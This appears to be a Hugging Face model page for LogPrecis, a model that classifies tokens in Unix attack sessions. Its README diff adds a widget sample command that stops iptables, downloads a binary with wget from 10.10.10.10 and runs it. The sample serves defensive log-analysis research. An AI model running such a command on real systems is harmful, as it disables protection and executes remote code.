Instructions to use SmartDataPolito/logprecis with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- Transformers
How to use SmartDataPolito/logprecis with Transformers:
# Use a pipeline as a high-level helper from transformers import pipeline pipe = pipeline("token-classification", model="SmartDataPolito/logprecis")# pip install -U transformers accelerate # Load model directly from transformers import AutoTokenizer, AutoModelForTokenClassification tokenizer = AutoTokenizer.from_pretrained("SmartDataPolito/logprecis") model = AutoModelForTokenClassification.from_pretrained("SmartDataPolito/logprecis", device_map="auto") - Notebooks
- Google Colab
- Kaggle
Update README.md
Browse files
README.md
CHANGED
|
@@ -1,3 +1,10 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
[LogPrecis](https://arxiv.org/abs/2307.08309) is a [Codebert](microsoft/codebert-base) model fine-tuned for **Token Classification**.
|
| 2 |
|
| 3 |
The model was previously domain-adapted using a corpus of **>20k Unix sessions**.
|
|
|
|
| 1 |
+
---
|
| 2 |
+
widget:
|
| 3 |
+
- text: >-
|
| 4 |
+
etc/init.d/iptables stop ; wget –c http://10.10.10.10:8080/exec ; chmod 777
|
| 5 |
+
exec ; ./exec ;
|
| 6 |
+
---
|
| 7 |
+
|
| 8 |
[LogPrecis](https://arxiv.org/abs/2307.08309) is a [Codebert](microsoft/codebert-base) model fine-tuned for **Token Classification**.
|
| 9 |
|
| 10 |
The model was previously domain-adapted using a corpus of **>20k Unix sessions**.
|